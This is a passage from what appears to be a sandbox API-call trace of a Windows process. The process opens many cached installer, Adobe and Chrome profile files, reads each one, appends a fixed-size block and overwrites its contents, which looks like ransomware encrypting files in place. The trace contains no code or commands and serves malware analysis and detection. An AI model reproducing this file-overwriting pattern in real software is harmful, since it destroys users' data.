lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0046.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.950] ReleaseMutex (hMutex=0x128) returned 1 [0046.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0046.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x1e7fb1c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows6.1-KB2999226-x64.msu", lpUsedDefaultChar=0x0) returned 28 [0046.950] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a364f8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.232] ReadFile (in: hFile=0x1cc, lpBuffer=0x3a364f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a364f8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.237] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf6139 [0047.237] ReadFile (in: hFile=0x1cc, lpBuffer=0x276c358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.252] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf6139 [0047.252] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dac408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.252] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0047.252] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a274c8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a274c8*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.252] WriteFile (in: hFile=0x1cc, lpBuffer=0x3a274c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a274c8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.252] CloseHandle (hObject=0x1cc) returned 1 [0047.406] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0047.407] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.407] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x13babb [0047.407] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.407] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.407] ReleaseMutex (hMutex=0x128) returned 1 [0047.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0047.408] ReadFile (in: hFile=0x184, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.413] ReadFile (in: hFile=0x184, lpBuffer=0x3a18498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.426] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x13aabb [0047.426] ReadFile (in: hFile=0x184, lpBuffer=0x3a45528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45528*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.445] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x13aabb [0047.446] WriteFile (in: hFile=0x184, lpBuffer=0x1daa408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1daa408*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.446] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0047.446] WriteFile (in: hFile=0x184, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.447] WriteFile (in: hFile=0x184, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.447] CloseHandle (hObject=0x184) returned 1 [0047.473] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.475] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.475] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4ea418 [0047.475] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.475] ReleaseMutex (hMutex=0x128) returned 1 [0047.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0047.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0047.475] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.477] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.487] ReadFile (in: hFile=0x170, lpBuffer=0x3a18498, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0047.491] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4e8418 [0047.491] ReadFile (in: hFile=0x170, lpBuffer=0x276b358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0047.493] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4e8418 [0047.493] WriteFile (in: hFile=0x170, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2f4f28c*=0x2588, lpOverlapped=0x0) returned 1 [0047.493] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0047.494] WriteFile (in: hFile=0x170, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.494] WriteFile (in: hFile=0x170, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.494] WriteFile (in: hFile=0x170, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2f4f28c*=0x2000, lpOverlapped=0x0) returned 1 [0047.494] CloseHandle (hObject=0x170) returned 1 [0047.494] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.495] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.495] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2fe [0047.495] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.495] ReleaseMutex (hMutex=0x128) returned 1 [0047.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0047.495] ReadFile (in: hFile=0x170, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2f4f2bc*=0x2fe, lpOverlapped=0x0) returned 1 [0047.501] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.501] WriteFile (in: hFile=0x170, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x886, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x886, lpOverlapped=0x0) returned 1 [0047.501] CloseHandle (hObject=0x170) returned 1 [0047.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.503] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.503] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x892c [0047.503] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.503] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.503] ReleaseMutex (hMutex=0x128) returned 1 [0047.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCMapFnt10.lst", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0047.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCMapFnt10.lst", cchWideChar=18, lpMultiByteStr=0x1e786cc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCMapFnt10.lst", lpUsedDefaultChar=0x0) returned 18 [0047.503] ReadFile (in: hFile=0x170, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.505] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x792c [0047.505] ReadFile (in: hFile=0x170, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.515] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x792c [0047.515] WriteFile (in: hFile=0x170, lpBuffer=0x1daa408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1daa408*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.515] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0047.515] WriteFile (in: hFile=0x170, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.515] CloseHandle (hObject=0x170) returned 1 [0047.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.517] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.517] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x42d0 [0047.517] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.517] ReleaseMutex (hMutex=0x128) returned 1 [0047.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap.exe.cdf-ms", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0047.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap.exe.cdf-ms", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clickonce_bootstrap.exe.cdf-ms", lpUsedDefaultChar=0x0) returned 30 [0047.517] ReadFile (in: hFile=0x170, lpBuffer=0x276c388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276c388*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.519] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x32d0 [0047.519] ReadFile (in: hFile=0x170, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.525] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x32d0 [0047.525] WriteFile (in: hFile=0x170, lpBuffer=0x1dac438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac438*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0047.526] WriteFile (in: hFile=0x170, lpBuffer=0x276d3b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d3b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.526] CloseHandle (hObject=0x170) returned 1 [0047.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x28 [0047.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.527] ReleaseMutex (hMutex=0x128) returned 1 [0047.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.dat", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.dat", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.dat", lpUsedDefaultChar=0x0) returned 12 [0047.527] ReadFile (in: hFile=0x170, lpBuffer=0x1eb2240, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2240*, lpNumberOfBytesRead=0x2f4f2bc*=0x28, lpOverlapped=0x0) returned 1 [0047.527] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.527] WriteFile (in: hFile=0x170, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5b0, lpOverlapped=0x0) returned 1 [0047.528] CloseHandle (hObject=0x170) returned 1 [0047.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.529] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.529] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa7 [0047.529] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.529] ReleaseMutex (hMutex=0x128) returned 1 [0047.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0047.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x1e6aa5c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOG", lpUsedDefaultChar=0x0) returned 3 [0047.529] ReadFile (in: hFile=0x170, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xa7, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x2f4f2bc*=0xa7, lpOverlapped=0x0) returned 1 [0047.530] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.530] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x62f, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, 